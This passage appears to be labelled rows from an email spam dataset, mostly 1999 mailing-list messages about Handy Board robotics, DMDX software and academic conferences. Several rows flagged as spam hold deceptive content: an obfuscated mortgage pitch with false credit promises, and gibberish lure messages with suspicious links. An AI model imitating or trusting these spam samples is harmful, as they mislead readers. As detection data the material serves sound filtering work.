Kites 259 Nantasket Ave. Hull MA 02045 781 925 - 3277 ___________________________________________ ....everyone is looking for the sublime generalisation..... Saul Griffith Research Assistant, MIT Media Lab, E15-429, 20 Ames St, Cambridge, MA 02139 Ph. 617 253 5554 ___________________________________________ ",0,0 Jimleorich@aol.com,handyboard@media.mit.edu,"Thu, 20 May 1999 22:01:42 -0400",Handyboard/Miniboard Replacement,"I have encountered of all things a gas grill which is controlled by a microcontroller of unknown origins. This contoller has bit the bullet and the grill vendor no longer supports it b/c they are out of business. The controller has 7 digital user inputs, an analog input for a millivolt output thermocouple, a digital output for an igniter, a 1 x 16 LCD display, and a digital output for the gas valve. I would like to replace this controller if possible, but I am uncertain of the reliability of current microcontrollers in an outdoor condensing environment. The original board was encased within epoxy and is unidentifiable as a result. Heat damage is also visible on the epoxy. Any suggestions? Anything would be appreciated at this point. Thanks, Jimmie -- I fully realize that I have not succeeded in answering all of your questions........ Indeed, I feel I have not answered any of them com- pletely. The answers I have found only serve to raise a whole new set of question, which only lead to more problems, some of which we weren't even aware were problems. ",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Fri, 21 May 1999 21:08:42 -0600",L.A. Store ,"Hi Does anybody know about a electronic or robotic store at L.A. (Los Angeles).? And the Address. Please Thanks Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Bill Harris ,java-sig@csc-sun.math.utah.edu,"Thu, 20 May 1999 23:41:51 -0600",May 25 - Salt Lake Java SIG,"Salt Lake Java SIG - May Meeting Topic: Integrated Development Environments for Java Date & Time: Tuesday, May 25 1999 7:00 - 8:00 PM Location: Room 110, EMCB (Eng.& Mines Classroom Bldg), Univ. Of Utah We've had a number of vendors come and demonstrate their Integrated Development Environments for developing Java applets/applications. Now that some of us have worked with them over the last year or so - its time to compare notes. We will discuss our experiences with the IDEs. What are their pros and cons? How do they compare? Is there a place for standalone JDK development? Come and participate in our roundtable discussion. Refreshments provided by ConsultNet: http://www.consult-net.com/ If you need more information - please email me at: bharris@ibm.net or call me at: (801)582-5004 Thanks, Bill Harris ",0,1 """G. A. Lanzarone"" ","eapls@mailbase.ac.uk, etaps99ap1@iks.cs.tu-berlin.de, etaps99ap2@iks.cs.tu-berlin.de","Fri, 21 May 1999 14:30:35 +0200",THAI-ETIS Symposium First Call for Participation,"[Apologies for multiple copies] First Call for Participation THAI-ETIS EUROPEAN SYMPOSIUM ON TELEMATICS, HYPERMEDIA AND ARTIFICIAL INTELLIGENCE IN EDUCATION AND TRAINING FOR THE NEW PROFESSIONS IN THE INFORMATION SOCIETY Varese, Italy, June 21-22 1999 This two-day Symposium is organised jointly by the Universita' degli Studi dell'Insubria at Varese and the European Consortium of the THAIland project (Telematics, Hypermedia and Artificial Intelligence). Members of the Consortium are the Universities appearing as affiliations of the program committee members listed below. The THAIland project is concerned with preparing a Master-level curriculum that focuses on the artist-engineer of the future, from either a technical/information systems or media background, developing specialists who will make a valid contribution to the growing telematics ""content"" sector. OBJECTIVES The aim of the Symposium is to bring together experts from different areas of computer science, artificial intelligence and other disciplines, both from the academic environment and from public/private enterprise, who have a common interest in exploring the new employment opportunities that arise from the recent trends in ICT: the interdisciplinary professions combining creative and technological capabilities in producing content material for the Information Society and the type of education and training needed to qualify for these innovative positions. PROGRAM COMMITTEE: Chris Hutchison, Kingston University (U.K.) (Co-Chairman) Gaetano Aurelio Lanzarone, University of Insubria at Varese (Italy) (Co-Chairman) Phillip Burrel, Southbank University (U.K.) Ulises Cortes, Technical University of Catalonia (Spain) Matti Hamalainen, Espoo-Vantaa Institute of Technology (Finland) Daniele Herin, University of Montpellier II (France) Veli-Pekka Liflander, Espoo-Vantaa Institute of Technology (Finland) Daniele Marini, University of Milan (Italy) Wolf Paprotte', Munster University (Germany) Ramon Sanguesa, Technical University of Catalonia (Spain) Christian Wolf, University of Leipzig (Germany) ORGANIZING COMMITTEE of the symposium and the related events: Gaetano Aurelio Lanzarone (Chairman) Ferdinando Artese Marco Astuti Marcello Balduccini Maresa Bertolo Fabrizio Celentano Marian Farago Marco Jennarelli Davide Piccinelli Alessandro Provetti Aldo Gabriele Rogora SYMPOSIUM VENUE The Symposium will be held in the city of Varese in northern Italy, which can be reached in 30 minutes by car from the new Milan airport, Malpensa 2000. A historic city founded by the Gauls, Varese is known as the ""Garden City"" because of the many villas and parks distributed throughout its territory, spread out along the foothills of the Alps and in the midst of many lakes. Important also from the artistic-cultural point of view, the area offers the typical Lombard architecture, castles with frescoes, Renaissance villas and many 18th century palaces with splendid gardens in the Italian style of the period. Consult the Internet for the site of the Varese province to navigate in four languages through this interesting area: http://www.provincia.va.it even before coming to the Symposium. Related events A related workshop will take place after the symposium, in the days June 23-25. An exhibition will take place in the same site during the whole week June 21-25 on projects, products and demonstrations on all the topics covered by the symposium. Web site of the symposium and the related events: http://andromeda.varbio.unimi.it/~VA_99/ Contact address: Prof. Gaetano Aurelio Lanzarone Insubria University Faculty of Sciences at Varese Director of the Undergraduate Curriculum in Computer Science Via Ravasi, 2 I-21100 Varese (Italy) Tel.: 0332-250.207 Fax: 0332-281308 E-mail: lanzarone@mail.varbio.unimi.it Symposium registration - For early registration, until june 4 1999, the fee is 200,000 Italian liras (approx. 100 euro), after june 4 1999 the fee is 240,000 it. liras. - The fee includes admission to the symposium program, a copy of the informal proceedings, coffee breaks, two buffet lunches and the gala dinner. - The fee must be paid before registration. To register, fill in the form below and send it by fax, together with proof of payment, to: fax number: +39-0332-421331 attention: ms. Piera Ferraris Payment All payments should be made in Italian liras by bank transfer accrediting the: Banca Regionale Europea S.p.A. Varese Italy Branch, Bank Code 6906.10800 SWIFT address BREUIM2 028 TELEX 315688 BMMEST I Account number 63002686/1 Accommodation: The following hotels offer a special rate to participants booking before June 4, 1999: - Hotel Acquario *** Via Giusti, 7 – I21100 Varese (Italy) Tel.: +39-0332-811600 (or 632 or 733 or 681) Fax: +39-0332-811780 Single room: 90,000 it. liras Double room 120,000 it. liras (per night, breakfast included) - Hotel Europa *** Piazza Beccaria, 1 – I21100 Varese (Italy) Tel.: +39-0332-280170 Fax: +39-0332-234325 Single room: 95,000 it. liras Double room 140,000 it. liras (per night, breakfast included) Hotel reservations have to be made directly with the hotel selected. Varese/Europe 1999 Culture through computers: the new telemedial professions of the Information Society Varese, Italy, June 21-22 1999 http://andromeda.varbio.unimi.it/~VA_99/ Please complete in block letters using a separate form for each delegate. (Photocopies may be used.) Title (Mr/Mrs/Miss/Ms/Dr): .............. First Name: ........................................................................................................... Surname: ........................................................................................................... Affiliation: ........................................................................................................... Address: ............................................................................................................ ............................................................................................................ Postcode: ..............................Country: ............................................... email.................................................................................................. Ph:............................................Fax: ................................................. Registration fees: Before 04/06/99 Lit 200,000 After 04/06/99 Lit 240,000 Provisional program June 21, Monday morning Host University Welcome Invited speaker [to be announced]: Session A: CULTURE THROUGH COMPUTING AND NEW PROFESSIONS Chairperson: Wolf Paprotte’ Marco Jennarelli Insubria University (Italy) “A New Humanism: scientific research and new professions in Humanities computing” Sadhna Jain, Simon Clarke, Paul Newland and Michele-Anne Dauppe University of Portsmouth (U.K.) “Communication design in contemporary digital culture. EMMA a Case study” Round table discussion Chairperson and Introduction: Chris Hutchison: an overview of the Thailand project June 21, Monday afternoon Session B: EDUCATION WITHOUT DISTANCES Chairperson: Merja Bauters Marijana Lomic And Zoran Putnik University of Novi Sad (Yugoslavia) “On Creation Of Educational Software Based On A Dynamic Learning Model” Giovanni Adorni, Dario Bianchi and Agostino Poggi University of Parma (Italy) ""Teleteaching experiences with a 'scalable' architecture"" Vito Leonardo Plantamura, Paola Plantamura and Enrica Gentile University of Bari (Italy) “Videoconferencing for distance learning but learning without distance” Aurora Vizcaino, Manuel Prieto Castilla-Mancha University (Spain) “Collaborative Learning. Student Modelling” Round table discussion Chairperson and Introduction: Ulises Cortes June 21, Monday evening Welcome Cocktail offered by the Municipality of Varese Gala Dinner June 22, Tuesday morning Invited speaker [to be announced] Session C: METAPHORS FOR DIGITAL DOCUMENTS Chairperson: Gaetano A. Lanzarone 3) Monica Landoni and Forbes Gibb University of Strathclyde – Glasgow “The Importance of Visual Rhetoric in the Design and Production of Electronic Books: The Visual Book Experience” 12) Stefano A. Cerri, Vincenzo Loia, Michel Quaggetto “Complex Display Specification via Java Constraints: Interactive Web-based Technical Manuals” Milano University & Salerno University (Italy), Pierre & Marie Curie University – Paris (France) Round table discussion Chairperson and Introduction: Christian Wolff June 22, Tuesday afternoon Session D: TRAWLING THROUGH THE WEB Chairperson: Daniele Herin David Inman South Bank University (U.K.) ""A multilingual, agent based approach to finding content on the Web"" Giuseppe Attardi, Antonio Gulli, Fabrizio Sebastiani University of Pisa (Italy) ""Automatic WebPage Categorization by Link and Context Analysis"" Stefano A. Cerri, Vincenzo Loia, Pierluigi Fontanesi, Alberto Bettinelli University of Milano & University of Salerno (Italy) “Serendipitous acquisition of Web Knowledge by Agents in the Context of Human Learning” Round table discussion Chairperson and Introduction: Phillip Burrel Closing session ",0,1 David Holsclaw ,"""'handyboard@media.mit.edu'"" ","Fri, 21 May 1999 07:52:07 -0500",Can't get MiniBoard to Download??,"I am not sure if it is bad form to ask questions about the MiniBoard here on the HandyBoard list so I'll try keep it short. I am building my first MB, have completed assembly, visually scanned for any shorts, applied power (9V battery) and got the red led to light, plugged in the serial cable (with no power applied) and got the green led to light, then with the serial cable still connected I applied power. This is where the problem started. It looks like I'm not in download mode (red led is on and motor lights flash) no matter which position SW3 is in. I pulled the switch and tested it -- seems to work fine. I reinstalled it and still have the same problem. With the switch installed it appears that I have continuity between all three pins no matter which position the switch is in? Has anyone else had this problem? Does it sound like a problem with a short? Bad processor? Ideas where to look? Is the simple 9V battery a problem for the board with no motors, sensors, etc. connected? If this talk about MBs is verboten then please reply off list. If there is a better place to look for answers then please just direct me there. Thanks in advance. Later. -- David Holsclaw DavidH@dra.com ",0,0 shsc9801@condor.stcloudstate.edu,David Holsclaw ,"Fri, 21 May 1999 09:00:35 -0500",Re: Can't get MiniBoard to Download??,"Hello, I have not done anything with my Miniboard for quite some time but I believe what you are seeing is just the basic lighting due to the fact that there is nothing programmed. You need to put it in bootstrap mode and download the proper files to the processor. Then when you turn it on you should see the proper lights turn on. If I rememeber correctly there are two buttons just as the HandyBoard has and you need to hold both of them down when you turn it on to put it in bootstrp mode. Then you need to download the proper files to the processor. Someone correct me if I am wrong. Hope this helps. Scott >I am not sure if it is bad form to ask questions about the MiniBoard here on >the HandyBoard list so I'll try keep it short. > >I am building my first MB, have completed assembly, visually scanned for any >shorts, applied power (9V battery) and got the red led to light, plugged in >the serial cable (with no power applied) and got the green led to light, >then with the serial cable still connected I applied power. > >This is where the problem started. It looks like I'm not in download mode >(red led is on and motor lights flash) no matter which position SW3 is in. I >pulled the switch and tested it -- seems to work fine. I reinstalled it and >still have the same problem. > >With the switch installed it appears that I have continuity between all >three pins no matter which position the switch is in? > >Has anyone else had this problem? Does it sound like a problem with a short? >Bad processor? Ideas where to look? Is the simple 9V battery a problem for >the board with no motors, sensors, etc. connected? > >If this talk about MBs is verboten then please reply off list. If there is a >better place to look for answers then please just direct me there. > >Thanks in advance. > >Later. >-- >David Holsclaw >DavidH@dra.com Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,0 Will Bain ,handyboard@media.mit.edu,"Fri, 21 May 1999 10:54:41 -0600",Re: L.A. Store,"sakar@servidor.unam.mx wrote: > Does anybody know about a electronic or robotic store at L.A. (Los Angeles).? The Mondotronics Robot Store (www.robotstore.com) is located in San Rafael. Is that near LA? -- Will ""been to California once"" Bain ",0,0 Mike Reiling ,Will Bain ,"Fri, 21 May 1999 10:42:28 -0700",Re: L.A. Store,"Nope, That's in Norther California... Just a quick 6 hour drive though :-) --Mike Will Bain wrote: > sakar@servidor.unam.mx wrote: > > Does anybody know about a electronic or robotic store at L.A. (Los Angeles).? > > The Mondotronics Robot Store (www.robotstore.com) is located in San > Rafael. Is that near LA? > > -- Will ""been to California once"" Bain ",0,0 Saul Griffith ,"Saul Griffith , valerie , yael , play99@media.mit.edu, Alan , Dana Kirsch , Bernd Schoner , Conor , Dan Overholt , Jeff Freedman , John Jovan , Kit Lennox , mikhak , Orville Jackson , Roger L Whit , Stephanie N Nussbaum , Yot Boontongkong , Camille Dungy , Ben Vigoda , Laurie Santos , Alex Holcombe , Anne Harley ","Fri, 21 May 1999 14:23:55 -0400",Re: Hull / Nantasket kite festival.,"Ok, So it looks like this: Jeff has a car and is driving. Dan has a car and is driving. I guess that is about 6 or seven seats. I will be riding down on a bicycle. And Anne looks like she'll be driving down late in the afternoon. Yot may also be driving down. All the email addresses are contained in the header, can people arrange their own rides? I will be leaving here around 10. The bicycle trip is about 1 hour so i'll be there around 11. The weather looks great! Saul. ",0,0 Eat Bugs! ,Handyboard list ,"Fri, 21 May 1999 13:55:38 -0400",Re: Handyboard/Miniboard Replacement,"Jimleorich@aol.com wrote: > I would like to replace this controller if possible, but I am uncertain > of the reliability of current microcontrollers in an outdoor condensing > environment. The original board was encased within epoxy and is > unidentifiable as a result. Heat damage is also visible on the epoxy. > > Any suggestions? Anything would be appreciated at this point. I'll get flamed for this, but I once dipped a board for an underwater robot in that liquid plastic stuff. It's at hardware stores, used for dipping wrench handles and stuff to make them more comfortable and electrically insulated. I held the board by the powerwires and the motor/sensor wires in each hand and dipped the whole lot, then pulled it back out. I'll tell you one thing, it was sealed *well!* Unfortunately, if you have to change anything your screwed, and you'd better make sure that the power is always connected to ground, cause you can get some wierd ESD problems. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bug Eater on an '83 V45 Magna ""Dark Side"" and a '71 Triumph Bonnie ""Pieces"" Email at jwp(at)awod.com ( root@localhost ) ""Where are we going? And why are we in this handbasket? ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 May 1999 15:06:07 -0700",[DMDX] moving," I cleaned out all my debugging of the list from the archive and moved it a slightly more informative location: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Reporter (to Mahatma Gandhi): Mr Gandhi, what do you think of Western Civilization? Gandhi: I think it would be a good idea. ",0,1 Patrick Cutts ,handyboard@media.mit.edu,"Fri, 21 May 1999 12:47:14 -0700",Re: Handyboard/Miniboard Replacement,"Why would you get flamed? it's just a conformal coating. they do it a lot in the military. It *IS* possible to fix a circuit board that's been protected in this way; when I was in the Navy one of the schools I went to was in microminiature electronic repair, and we spent quite a bit of time removing the coating, repairing the circuit and replacing the coating. (the rest of the time I spent learning to windsurf, but that's another story...) ---------- | | I'll get flamed for this, but I once dipped a board for an underwater | robot in that liquid plastic stuff. It's at hardware stores, used for | dipping wrench handles and stuff to make them more comfortable and | electrically insulated. I held the board by the powerwires and the | motor/sensor wires in each hand and dipped the whole lot, then pulled it | back out. I'll tell you one thing, it was sealed *well!* | | Unfortunately, if you have to change anything your screwed, and you'd | better make sure that the power is always connected to ground, cause you | can get some wierd ESD problems. | ",0,0 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Fri, 21 May 1999 16:20:28 -0400",linux cluster,"Jerry, I apologize that this is taking longer than aticipated. We are waiting for the Cisco switch, and a new 18GB Seagate Drive. One was bad out of 24. The systems are looking good and they are extremely fast. The systems were quoted with Redhat 5.2 and I can't really change that b/c the price of 6.0 is more than double that of RH 5.2. However, each machine has RH 6.0 installed with the 2.2 kernel with SMP support and many other nifty improvements. I am planning on these machines leaving here by Tuesday. 11 of the systems have been burning in for more than 24 hours now and no problems. I will keep you informed of the shipping date and Tracking # as soon as it departs. Have a great weekend! Joey P. Sims Senior Account Executive Atlanta, GA joey.sims@ponycomputer.com Toll Free (888) 809-1588 x 105 Fax (770) 806-1566 ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Fri, 21 May 1999 16:54:04 -0700",[DMDX] Excel spreadsheet for Scripting DMDX files,"I have constructed an Excel file that is useful for building .rtf files. It is mainly aimed at masked priming experiments, but once you see how it is done, you could easily adapt it for your own purposes. One nice application is for students who need to use DMDX for an experiment, but don't need to have all the intricacies of .rtf files explained to them. You could set up a file so that all they had to was a bit of cut and pasting, and the .rtf file is automatically generated. The example file is available at: http://www.u.arizona.edu/~kforster/dmdx/dmdxscrpt.zip K.I.Forster ",0,1 Theophania Rehder ,handyboard@media.mit.edu,"Fri, 21 May 1999 10:06:10 -0700",Re: oaaog news,"D b ear Home Ow b ne p r , Your cr p edi t t doesn't matter to us ! If you O v WN real e d st n at g e and want I r MME r DIA c TE cas x h to s a pen b d ANY way you like, or simply wish to L i OWER your monthly pa m yme g nts by a third or more, here are the d k eals we have T l OD u AY : $ 4 d 88 , 000 at a 3 d , 67% fi f xed - ra l te $ 3 s 72 , 000 at a 3 , x 90% v w aria o ble - rat u e $ 4 o 92 , 000 at a 3 , d 21% i y ntere x st - only $ 24 x 8 , 000 at a 3 , i 36% fi g xed - ra h te $ 1 h 98 , 000 at a 3 b , 55% v y ariable - ra x te H b urry, when these d n eaIs are gone, they are gone ! Don't worry about ap c pro p val, your cr v edi c t will not d r isqualif h y you ! V u isi j t ou o r site Sincerely, Theophania Rehder Ap y pr s oval Manager",1,1 Linnar ,handyboard@media.mit.edu,"Sat, 22 May 1999 11:23:19 +0800",withdraw,"Dear Sir, I don;t wished to be in the list anymore. Thanks ! Rgds, Linnar ",0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Fri, 21 May 1999 20:50:39 -0700",External Motor Power Problems,"Hello all, I modified my HB to except the external motor source. After downloading a test program to see if all the ports worked, I found that only one motor port now works. There is the possibility that I shorted out other chips, but I am sure that I did not connect the power in backwards. I have tried replace the H-Bridge chips (the TI one's) with no more success in solving my problem. Has anyone else seen this before and know of a solution? What other chips should I be checking if the motor ports do not work? Thanks for any advice!!! Bill Denzel ",0,0 orthner@idirect.com,handyboard@media.mit.edu,"Sat, 22 May 1999 06:35:26 -0400",Re: External Motor Power Problems,"At 08:50 PM 5/21/99 -0700, Bill Denzel wrote: What >other chips should I be checking if the motor ports do not work? Looking at the schematic for the motor driver circuit at: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/schemv12/motor.h tml Only the 'HC04 and the '374 are implicated. Do all the other functions of the HB work? Duncan ",0,1 jpc ,handyboard@media.mit.edu,"Sat, 22 May 1999 10:47:36 -0300",withdraw," Dear Sir, Please take from the list. Thanks for all, Jorge ",0,0 Agnes Sparks ,ggilfoyl@facstaff.richmond.edu,"Sat, 22 May 1999 05:41:50 -0500",Shannon sharing facts," Eternal selection of weird cush http://69xanthans.info >> hxex screws spark they scythe >> some ragging turmoil stulat them nraum ",1,1 DjKOz97@aol.com,handyboard@media.mit.edu,"Sat, 22 May 1999 12:33:43 -0400",RE: withdraw?,"I'm not sure how ""signatures"" work, but maybe one could be added to every handyboard message reminding people of the proper procedure on how to take themselves off the mailing list? Just a suggestion! Dave ",0,0 Gary Livick ,"""handyboard@media.mit.edu"" ","Sat, 22 May 1999 10:47:32 -0700",Using SPI,"I am using the SPI port to communicate with another Handy Board. I have written a routine in IC that will pass bytes between controllers just as it is supposed to work. However, the code is not very clean and it is very touchy. Change one thing and it may not work. Has anyone else put together working IC code to communicate between controllers? Thanks, Gary Livick ps: Hello Fred. ",0,0 Edna Boudreaux ,handyboard@media.mit.edu,"Sun, 23 May 1999 09:34:34 -0500","Eat not to dullness, drink not to elevation","or zinc in inexpedient may ampersand and dramaturgy see bold ",1,0 Christopher Prosser ,handyboard@media.mit.edu,"Sun, 23 May 1999 13:00:37 -0700",Midi?,"Hi Folks, I was wondering if anyone had any code to input/output Midi from the Handyboard? Thanks, Chris Prosser ",0,0 orthner@idirect.com,handyboard@media.mit.edu,"Sun, 23 May 1999 17:14:19 -0400",Re: Midi?,"At 01:00 PM 5/23/99 -0700, Christopher Prosser wrote: >Hi Folks, > I was wondering if anyone had any code to input/output Midi from the >Handyboard? Chris, check: http://music.dartmouth.edu/~colby/hb.html There is a midi library for the Hb here. Best, Duncan ",0,1 rmtmd ,handyboard@media.mit.edu,"Sun, 23 May 1999 15:11:31 -0700",Sony Robotic Dog: Check it Out!,"http://world.sony.com/robot/ This dog is wild! It can learn behaviors and it can be reprogrammed! Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,1 rmtmd ,handyboard@media.mit.edu,"Sun, 23 May 1999 15:16:02 -0700",Sony Robotic Dog URL correction,"I misquoted the URL. Typed so fast, I left out the world wide web prefix. It should read: http://www.world.sony.com/robot/ Ross Tonkens ",0,1 """Joe Marie J. Maja"" ",Gary Livick ,"Mon, 24 May 1999 07:19:08 +0900",Re: Using SPI,"Gary Livick wrote: > I am using the SPI port to communicate with another Handy Board. I have > written a routine in IC that will pass bytes between controllers just as > it is supposed to work. However, the code is not very clean and it is Gary, We used the PA7(transmitting board) and PD0(receiving board) in wireless and wired mode. This is quite easy to do. Pete Eacmen have done the wired stuff while I did the wireless stuff. With wired one, you can transmit @9600 baud with no problem. I would like to try the SPI port but my transciever module can only transmit reliably at 300 baud, so I used the Asynchronous (PD0..) stuff. joema ",0,0 Malcolm ,Gerner ,"Sun, 23 May 1999 23:32:11 +0400",Time is now,"Heya Gerner, You still trying to make happy ur girlfriend? You still hearing complaints about it in the bedroom? If so then stop by www.audiopresencompmcu.org/h1d/. there, activity it will waiting happen. affords; a Hope is was of some help Malcolm ",1,0 Gerardo Dow ,"handyboard@media.mit.edu, daniel@media.mit.edu, tommy@media.mit.edu, bonita@media.mit.edu","Mon, 24 May 1999 05:32:48 -0500",bring back your memory,"see invariant in exhale may arid ! bobby see tarbell ",1,0 Evan Noynaert ,handyboard@media.mit.edu,"Mon, 24 May 1999 10:15:03 -0500",Sound algorithms,"Christopher Prosser's question about MIDI started me thinking about adding some sound effects from the speaker. I know the capabilities of the on-board sound are limited, but has anyone done any work on simple sound effects (splat, boing, au-oh, etc)? I have some 5th graders I need to do a demo for, and it would be a nice (although corny) addition to the demo. -- Evan Noynaert, Department of Computer Science, Mathematics, & Physics noynaert@griffon.mwsc.edu phone: 816/271-4308 fax: 816/271-4574 Missouri Western State College St. Joseph, Missouri, USA 64507 ",0,0 Gary Livick ,"Carlos Puchol , HandyBoard ","Mon, 24 May 1999 09:07:20 -0700",Re: Using SPI," Carlos Puchol wrote: > when you're done (more or less), can you make the > code available? this is interesting stuff. we may be > interesting at looking into spi communication. > is it as fast as advertised? > > thanks, > > -c Dear Carlos, I will make it available. I have managed to improve on the code so I have better control, but have a way to go yet before it is finish. So far, I am able to send data reliably at 62,500 bits per second without interrupts. I expect to get to the whole 1 meg bits per second as soon as I have everything figured out. Regards, Gary ",0,0 Peter Jipsen ,Undisclosed recipients:;,"Tue, 25 May 1999 12:43:45 +0200",LUATCS'99 2nd announcement," Dear Colleagues and Students, Apologies if you receive more than one copy of this message. Included below is the second announcement for the LUATCS Summer School and Workshop, as well as a registration form. The same information can also be obtained from the LUATCS webpage at http://proof.mth.uct.ac.za/~pjipsen/luatcs99 We hope you are interested in this event and also make this information known to your friends and students. Regards Val Goranko and Peter Jipsen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FIRST SOUTHERN AFRICAN SUMMER SCHOOL AND WORKSHOP ON LOGIC, UNIVERSAL ALGEBRA, AND THEORETICAL COMPUTER SCIENCE (LUATCS'99) Rand Afrikaans University, Johannesburg, South Africa December 1-10, 1999 SECOND ANNOUNCEMENT AND CALL FOR PARTICIPATION LUATCS'99 is organized under the auspices of the Department of Mathematics at the Rand Afrikaans University (RAU) in Johannesburg, South Africa, the National Research Foundation of South Africa (NRF), the Laboratory for Formal Aspects and Complexity in Computer Science (FACCS-Lab) at the University of Cape Town, and the Interest Group in Logic, Universal Algebra and Theoretical Computer Science at the South African Mathematical Society (SAMS). ADVISORY BOARD: Samson Abramsky (University of Edinburgh, UK) Hajnal Andreka (Math. Inst. of the Hungarian Acad. of Sciences) Johan van Benthem, Chair (University of Amsterdam, Netherlands) Chris Brink (University of Wollongong, Australia) Robin Hirsch (University College London, UK) Wilfrid Hodges (Queen Mary and Westfield College, UK) Bjarni Jonsson (Vanderbilt University, USA) Istvan Nemeti (Math. Inst. of the Hungarian Acad. of Sciences) Jeff Zucker (McMaster University, Canada) ORGANIZING COMMITTEE: Isabella Burger (Rand Afrikaans University, local arrangements), Val Goranko (Rand Afrikaans University, co-chair), Peter Jipsen (University of Cape Town, co-chair). I. ACTIVITIES: Short introductory and advanced courses, tutorials and workshops on each of the three subjects: Logic, Universal Algebra and Theoretical Computer Science, as well as combined courses and tutorials/workshops on specific topics within the scope of the school. Also, there will be open sessions with contributed talks. The courses and tutorials will be given by invited lecturers and will be grouped in two parts: introductory and advanced. The purpose of the single-subject courses is to give a concise introduction into the basics, and some advanced topics of the subject for participants with little or no background (for the introductory courses) and with basic knowledge (for the advanced courses) in the subject. The purpose of the interdisciplinary courses, tutorials, and workshops is to discuss the interaction between the subjects of the school. A general purpose of the school is to reflect the current development of each of the three subjects and the interaction between them, with an emphasis on recent trends and research topics in them. The introductory part is aimed at lower graduate (honours and masters) students but will be accessible for undergraduates majoring in mathematics and computer science too. Essentially no special knowledge, but some formal background, will be expected for these courses. The advanced part will be suitable for higher graduate (masters and doctoral) students and researchers. 1) PART 1: Introductory courses. December 1-4, RAU-Island (Vaal Dam, see below). Each course will comprise four sessions and will give a general background into the subject(s), necessary to follow the advanced courses. COURSES AND LECTURERS: (Legend: L:Logic, UA: Universal Algebra, TCS: Theoretical Computer Science) L: Patrick Blackburn (University of Saarland) UA: Matt Valeriote (McMaster University, Canada) TCS: Austin Melton (Kent State Univ., USA) L&UA: Yde Venema (University of Amsterdam, Netherlands) L&TCS: Holger Schlingloff (University of Bremen, Germany) UA&TCS: H. Peter Gumm (University of Marburg, Germany) 2) PART 2: Advanced courses, tutorials, workshops, open sessions. December 6-10, Rand Afrikaans University, Johannesburg. (NB: the duration of the school has been extended by 1 day since the 1st announcement.) Each of the modules listed below will consist of a tutorial part, possibly followed by a workshop part. 2.1) LECTURERS/WORKSHOP ORGANIZERS AND TOPICS: -) Hajnal Andreka, Istvan Nemeti (Math. Inst. Hungarian Acad. of Sciences): Logic, relativity theory and Tarskian geometry. -) Johan van Benthem (Univ. of Amsterdam, Netherlands): Game theory and modal logic. -) Zhou Chaochen, (United Nations Univ., Macau): Duration Calculus. -) Anuj Dawar (Univ. of Cambridge, UK): Fixed point logics and finite model theory. -) Brian Davey (La Trobe Univ., Australia): Advanced universal algebra. -) Mai Gehrke (New Mexico State Univ., USA): Lattices with additional operations. -) Robin Hirsch (Univ. College London, UK): Algebraic logic. -) Wilfrid Hodges (Queen Mary and Westfield College,UK): Advanced logic. -) Bart Jacobs (University of Nijmegen, Netherlands) and Jan Rutten (Centre for Mathematics and Computer Science, Netherlands): Co-algebra, theory and applications. -) Thomas Jech (Penn State Univ., USA): Left-distributive algebras. -) Maarten de Rijke (Univ. of Amsterdam, Netherlands): Computational logic and automated theorem proving. -) Moshe Vardi (Rice Univ., USA): Automata-theoretic approach to design verification. -) Jeff Zucker (McMaster Univ., Canada): Computability on abstract algebras. 2.2) WORKSHOPS and OPEN SESSIONS: Participants will have the opportunity to present their research at open sessions and special workshop sessions. If you wish to contribute a talk to any of the workshops, please contact the respective organizer(s) BEFORE AUGUST 1 (see webpage for email addresses). For participation in the open session, send or e-mail in either plain text, standard LaTeX, or Postscript, a one A4 page abstract to the address of the school, to reach us BY AUGUST 1. Notification of acceptance/rejection will be send to you soon after submission, and not later than AUGUST 15, unless otherwise specified by the workshop organizers. More details on the courses, tutorials and workshops and detailed programme of the School will be placed in due course on our Webpage at http://proof.mth.uct.ac.za/~pjipsen/luatcs99 and sent to the registered participants with the 3rd announcement. 2.3) CREDITS: The courses offered at the school can be taken for official credit and recognized (by prior arrangements with respective heads of departments) as modules for graduate courses, after successful completion of assignments given by the respective lecturers. II. TIME: December 1-10, 1999. 9 working days, and a free/relocation day on December 5. (Note that this is an early summer time in the Southern hemisphere.) III. PLACES AND ACCOMMODATION: Part I: December 1-4 1999, RAU-Island. This is a fairly large island in the Vaal Dam, some 100 km south of Johannesburg. The island is a nature reserve, with various game on it to be seen: springboks, blesboks, gemsboks, zebras, gnus, etc. Besides the wilderness, it also has conference, accommodation, and recreation facilities including: 3 lecture rooms with boards and overhead projectors (one of them with an aircon); full board (accommodation and 3 meals a day), barbecue area, swimming pool, rugby field, volley-ball court etc. ARRIVAL AND REGISTRATION: November 30. We shall provide bus transportation for all participants from RAU campus to the Island on that day. There will be two buses, the first leaving at 12.00, and the second at 16.00. We can transport, upon prior request, participants from the Johannesburg International Airport to RAU on November 30, between 10.00 and 15.00h. (Please book your trip to Johannesburg so as to reach RAU campus in time, because there is no regular transport to the Island.) On December 5 all participants will be transported back to RAU campus. ACCOMMODATION: The accommodation on the island is somewhat primitive (yet satisfactory, at least in summer time) and includes a few individual rooms (which will be reserved for invited lecturers), while the participants will be accommodated in two large sleeping barracks (for men and women) each with toilet and shower facilities. The FULL PACKAGE (transportation by bus-boat between RAU and the Island, accommodation, 3 meals and refreshments for 5 days) will cost R550 pp. Note that the access between the mainland and the island is by a special boat only, which can be hired at a cost. NB: Because of the limited accommodation facilities on the island, the number of participants in the first part of the school will be limited, so early registration for that part is essential. PART II: December 6-10, 1999, RAU campus. The university campus is situated in Auckland Park, a relatively quiet and safe suburb off the business center of Johannesburg. It 